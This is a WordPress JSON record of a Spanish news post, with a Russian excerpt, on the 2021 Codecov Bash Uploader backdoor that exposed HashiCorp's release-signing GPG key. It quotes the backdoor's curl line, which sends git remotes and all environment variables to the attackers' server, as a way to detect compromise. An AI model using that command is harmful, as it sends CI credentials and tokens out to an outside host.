{"id":100037,"date":"2021-04-27T10:22:34","date_gmt":"2021-04-27T08:22:34","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp"},"modified":"2021-04-27T10:22:34","modified_gmt":"2021-04-27T08:22:34","slug":"vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","status":"publish","type":"post","link":"https:\/\/prohoster.info\/es\/blog\/news\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","title":{"rendered":"La inyecci\u00f3n de c\u00f3digo malicioso en el script de Codecov llev\u00f3 a la compromisi\u00f3n de la clave PGP de HashiCorp.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

La empresa HashiCorp, conocida por el desarrollo de herramientas de c\u00f3digo abierto como Vagrant, Packer, Nomad y Terraform, ha anunciado la filtraci\u00f3n de una clave GPG privada utilizada para crear firmas digitales que verifican las versiones. Los atacantes que accedieron a la clave GPG podr\u00edan haber realizado cambios encubiertos en los productos de HashiCorp, valid\u00e1ndolos con una firma digital correcta. Sin embargo, la empresa inform\u00f3 que, tras una auditor\u00eda, no se encontraron rastros de intentos de modificaciones similares. <\/p>\n

Actualmente, se ha revocado la clave GPG comprometida y se ha introducido una nueva clave. El problema solo afect\u00f3 a la verificaci\u00f3n a trav\u00e9s de los archivos SHA256SUM y SHA256SUM.sig, y no impact\u00f3 en la formaci\u00f3n de firmas digitales para los paquetes DEB y RPM de Linux, que se distribuyen a trav\u00e9s de releases.hashicorp.com, as\u00ed como en los mecanismos de validaci\u00f3n de lanzamientos para macOS y Windows (AuthentiCode). <\/p>\n

La filtraci\u00f3n ocurri\u00f3 debido al uso de un script Codecov Bash Uploader (codecov-bash) en la infraestructura, el cual est\u00e1 dise\u00f1ado para cargar informes de cobertura desde sistemas de integraci\u00f3n continua. Durante un ataque a la empresa Codecov, se insert\u00f3 un backdoor en dicho script, a trav\u00e9s del cual se enviaron contrase\u00f1as y claves de cifrado a servidor<\/a> de los atacantes. <\/p>\n

Para llevar a cabo el ataque, los atacantes aprovecharon una vulnerabilidad en el proceso de creaci\u00f3n de la imagen Docker de Codecov, que permit\u00eda extraer datos de acceso a GCS (Google Cloud Storage), necesarios para modificar el script Bash Uploader, el cual se distribu\u00eda desde el sitio codecov.io. Los cambios se realizaron el 31 de enero y permanecieron sin ser detectados durante dos meses, permitiendo a los delincuentes extraer informaci\u00f3n almacenada en los entornos de los sistemas de integraci\u00f3n continua de los clientes. Con el c\u00f3digo malicioso a\u00f1adido, los atacantes pudieron obtener informaci\u00f3n sobre el repositorio Git probado y todas las variables de entorno, incluidas las que conten\u00edan tokens, claves de cifrado y contrase\u00f1as, transmitidas a los sistemas de integraci\u00f3n continua para facilitar el acceso al c\u00f3digo de aplicaciones, repositorios y servicios como Amazon Web Services y GitHub. <\/p>\n

Adem\u00e1s de la llamada directa, el script Codecov Bash Uploader se utiliz\u00f3 en otros cargadores, como Codecov-action (Github), Codecov-circleci-orb y Codecov-bitrise-step, cuyos usuarios tambi\u00e9n enfrentan el problema. Se recomienda a todos los usuarios de codecov-bash y productos relacionados realizar una auditor\u00eda de sus infraestructuras, as\u00ed como cambiar contrase\u00f1as y claves de cifrado. Se puede verificar la presencia de una puerta trasera en el script por la existencia de la l\u00ednea curl -sm 0.5 -d \"\n$(git remote -v)\n\n\n\nENV $(env)\" http:\/\/\/upload\/v2 || true
\n
Fuente: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f HashiCorp, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 Vagrant, Packer, Nomad \u0438 Terraform, \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e GPG-\u043a\u043b\u044e\u0447\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439, \u0432\u0435\u0440\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0440\u0435\u043b\u0438\u0437\u044b. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f \u043a GPG-\u043a\u043b\u044e\u0447\u0443, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u043b\u0438 \u0432\u043d\u0435\u0441\u0442\u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b HashiCorp, \u0437\u0430\u0432\u0435\u0440\u0438\u0432 \u0438\u0445 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u044c\u044e. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0432 \u0445\u043e\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u0441\u043b\u0435\u0434\u043e\u0432 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